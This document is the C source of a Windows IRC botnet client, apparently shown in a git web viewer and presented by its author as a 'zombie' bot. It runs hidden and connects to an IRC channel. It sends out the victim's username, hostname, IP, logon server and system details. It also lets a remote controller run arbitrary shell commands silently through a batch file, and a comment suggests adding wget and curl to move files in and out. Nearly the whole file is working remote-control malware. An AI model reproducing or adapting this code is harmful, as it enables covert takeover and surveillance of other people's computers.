635704bc0559eefea414bdcf0ee9cf3be3d0727a
3 This 31337 code by: Harvie 2oo7
4 Windows IRC Bot/Zombie/Whatever you want...
7 Optimalized for Dev-Cpp
8 Compile as window app to make a daemon
11 There is not so big security!!!
12 If you want to keep your zombies,
13 control them only by PM or at completely secure channel!!!
14 All passwords, that are starting with your password will be accepted!!!
17 Warning: all commands are case sensitive
19 !login [login] //Bad login=logout
20 !chanpass //Set mode +k
24 !CMD [shell command] //Execute command @ zombie
25 !raw [line to send] //Sends raw line to server (you can OP yourself)
26 !info //Info about zombie
27 !time //Localtime @ zombie
28 !show //Show console window
29 !hide //Hide console window
30 !restart //Restart connection
31 !respawn //Restart whole zombie
34 6 * 128 == 768 == Maximum lenght of IRC message (RFC)
43 #pragma comment(lib,"ws2_32.a");
45 //Sends IRC message "msg" to "channel" over socket "s".
46 int irc_sendmsg(int s
, char *channel
, char *msg
) {
49 sprintf(snd
, ": PRIVMSG %s :%s\n", channel
, msg
);
51 err
= send(s
, snd
, len
, 0);
52 printf("%s", snd
); //Show
56 //MAIN_FUNCTION://////////////////////////////////////////////////////////
57 int main(int argc
, char *argv
[]) {
59 //SETTINGS:///////////////////////////////////////////////////////////////
60 char server
[] = "irc.2600.net"; //IRC Server
61 int port
= 6667; //Port of IRC Server
62 char channel
[] = "#hv"; //IRC Channel
63 char pass
[] = "test"; //Bot Password
64 char chanpass
[] = "lol"; //Channel Password
65 char rcfile
[] = "hircb.rc.bat"; //Run this file hidden at bot startup
66 //MISC:///////////////////////////////////////////////////////////////////
67 char version
[] = "1.0b"; //Bot version
68 char nick
[128] = "Harvecter"; //Doesn't matter - Username of active user will be used instead
69 char cmdfile
[] = "zzzcommands.bat";
70 //AllocConsole(); //Ukazat
71 //FreeConsole(); //Schovat... ;)
72 //freopen("log.txt", "ab", stdout); //Log all outputs to file
73 //INITIALIZATIONS:////////////////////////////////////////////////////////
75 char lclhost
[256], lclhostnm
[256], hostmsg
[1000];
76 char *user
, *processor
, *root
, *logonsrvr
, *os
, rnd
[10];
77 //Load enviroment variables
78 user
= getenv("USERNAME");
79 processor
= getenv("PROCESSOR_IDENTIFIER");
80 root
= getenv("SystemRoot");
81 logonsrvr
= getenv("LOGONSERVER");
83 //Generate nick from username and random number
84 sprintf(rnd
, "%i", rand());
85 sprintf(nick
, "H-%s-%s", user
, rnd
);
87 struct tm
*localtime(const time_t *tod
);
92 //////////////////////////////////////////////////////////////////////////
93 //CODE:///////////////////////////////////////////////////////////////////
94 //////////////////////////////////////////////////////////////////////////
96 //Delete cmdfile (Hell knows it's useful...)
97 cmdf
= fopen(cmdfile
, "w");
98 fprintf(cmdf
, "del %s\n", cmdfile
);
100 WinExec(cmdfile
,SW_HIDE
);
103 printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n\n", version
, channel
, server
, port
, nick
);
104 //Execute startup script
105 WinExec(rcfile
,SW_HIDE
); //Run rcfile (hidden)
107 //Declarations for WSA
110 HOSTENT
*host
, *localhost
;
112 WSAStartup(MAKEWORD(1,1),&wsadata
);
114 //Set details for WSA
115 while( (host
=gethostbyname(server
)) == NULL
){ //Host
116 printf("!Error server host not found\nwaiting 5s...\n");
119 sck
.sin_family
= PF_INET
;
120 memcpy(&sck
.sin_addr
.s_addr
, host
->h_addr
, host
->h_length
);
121 sck
.sin_port
= htons(port
); //Port
124 while ((localhost
=gethostbyname("")) == NULL
) {
125 printf("!Error local host not found\nwaiting 5s...\n");
128 sprintf(lclhostnm
, "%s", localhost
->h_name
);
129 sprintf(lclhost
, "%s", inet_ntoa(*((struct in_addr
*)localhost
->h_addr
)));
130 sprintf(hostmsg
, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s\n", user
, lclhostnm
, lclhost
, logonsrvr
, os
, root
, processor
);
131 printf("%s\n", hostmsg
);
133 //Initialization of strings used for IRC communication, etc...
134 int len
, err
; //Lenght, Error
135 char snd
[1024], msg
[1000], rcv
[1024], passin
[1000], *sub
;
137 //Infinite loop (bot can't stop)
141 s
=socket(AF_INET
, SOCK_STREAM
, 0);
144 while( ( connect(s
, (struct sockaddr
*)&sck
, sizeof(sck
)) ) ) {
145 printf("!Error while connecting\nwaiting 5s...\n");
150 sprintf(snd
, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick
, nick
, nick
);
152 err
= send(s
, snd
, len
, 0);
154 //Join&Set channel password
155 sprintf(snd
, "JOIN %s %s\n", channel
, chanpass
); len
= strlen(snd
); err
= send(s
, snd
, len
, 0);
157 err
= send(s
, snd
, len
, 0);
158 //mode #chan +k heslo
160 sprintf(snd
, "MODE %s +n+s+k %s\n", channel
, chanpass
); len
= strlen(snd
); err
= send(s
, snd
, len
, 0);
162 err
= send(s
, snd
, len
, 0);
166 sprintf(msg
, "Hello ;), let my introduce myself... I am %s v%s", nick
, version
); //Zprava
167 err
= irc_sendmsg(s
, channel
, msg
);
168 sprintf(msg
, "!chanpass"); //Request channell operator to set channell password (mode +n+k)
169 err
= irc_sendmsg(s
, channel
, msg
);
171 //Loop (while connection exists)
173 while( err
&& err
!= -1) {
176 sprintf(snd
, "JOIN %s %s\n", channel
, chanpass
); len
= strlen(snd
); err
= send(s
, snd
, len
, 0);
179 memset(rcv
, '\0', 1024);
181 err
= recv(s
, rcv
, 1024, 0);
184 //PING-PONG (Respond to server pings only)
185 if ( (sub
= (strstr(rcv
, "PING :"))) ) {
187 sprintf(snd
, "PONG :%s", sub
);
189 err
= send(s
, snd
, len
, 0);
194 if ( (sub
= (strstr(rcv
, ":!chanpass"))) ) {
195 printf("!Setting chanpass\n");
196 sprintf(snd
, "MODE %s +n+s+k %s\n", channel
, chanpass
);
198 err
= send(s
, snd
, len
, 0);
203 if ( (sub
= (strstr(rcv
, ":!login "))) ) {
205 sprintf(passin
, "%s", sub
);
206 if ( strstr(passin
, pass
) ) { //Use this condition to check login.
207 sprintf(msg
, "Login succesful");
208 irc_sendmsg(s
, channel
, msg
);
209 printf("\n!!!Login succesful\n");
211 sprintf(msg
, "Loged out");
212 irc_sendmsg(s
, channel
, msg
);
213 printf("!!!Loged out\n\n");
219 if ( strstr(passin
, pass
) ) {
222 if ( (sub
= (strstr(rcv
, ":!SAY "))) ) {
224 sprintf(msg
, "MSG: %s", sub
); //Zprava
225 err
= irc_sendmsg(s
, channel
, msg
);
229 //INFO (USER, DOMAIN, IP, ARCHITECTURE)
230 if ( (sub
= (strstr(rcv
, ":!info"))) ) {
231 err
= irc_sendmsg(s
, channel
, hostmsg
);
236 if ( (sub
= (strstr(rcv
, ":!time"))) ) {
241 p_st_cas
= localtime(&cas
);
243 strftime(msg
, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas
);
244 err
= irc_sendmsg(s
, channel
, msg
);
249 if ( (sub
= (strstr(rcv
, ":!raw "))) ) {
252 err
= send(s
, sub
, len
, 0);
257 //Hey! Don't forget to download wget&curl in bot directory!! ;D
258 //With wget and curl you will be able to download and upload files...
259 if ( (sub
= (strstr(rcv
, ":!CMD "))) ) {
261 sprintf(snd
, "%s", sub
);
262 printf("!CMD %s", snd
);
264 sprintf(msg
, "Executing: %s", sub
);
265 irc_sendmsg(s
, channel
, msg
);
266 printf("!!! %s", msg
);
268 FILE *cmdf
= fopen(cmdfile
, "w");
269 fprintf(cmdf
, "%s\ndel %s\n", snd
, cmdfile
);
272 WinExec(cmdfile
,SW_HIDE
); //Hide console window
273 //system(cmdfile); //Show console window
278 if ( (sub
= (strstr(rcv
, ":!hide"))) ) { FreeConsole(); } sub
= 0;
279 if ( (sub
= (strstr(rcv
, ":!show"))) ) { AllocConsole(); } sub
= 0;
281 //RESTART connection to server
282 if ( (sub
= (strstr(rcv
, ":!restart"))) ) {
283 sprintf(msg
, "Please wait while restarting...");
284 err
= irc_sendmsg(s
, channel
, msg
);
286 sprintf(msg
, "ERROR: Couldn't close socket :(");
287 err
= irc_sendmsg(s
, channel
, msg
);
288 printf("\nRESTARTING...\n\n");
292 //RESPAWN (restarts all)
293 if ( (sub
= (strstr(rcv
, ":!respawn"))) ) {
294 sprintf(msg
, "Please wait while respawning...");
295 err
= irc_sendmsg(s
, channel
, msg
);
296 printf("\nRESPAWNING...\n\n");
298 execl(argv
[0], NULL
); //Exchange old process for new (argv[0])
299 sprintf(msg
, "ERROR: Couldn't respawn :(");
300 err
= irc_sendmsg(s
, channel
, msg
);
301 printf("ERROR: Couldn't respawn :(\n");
305 }//END LOCKED COMMANDS
310 printf("!Error while sending\nwaiting 5s before reconnect...\n");
316 WSACleanup(); //Flush WSA
This page took 0.459814 seconds and 3 git commands to generate.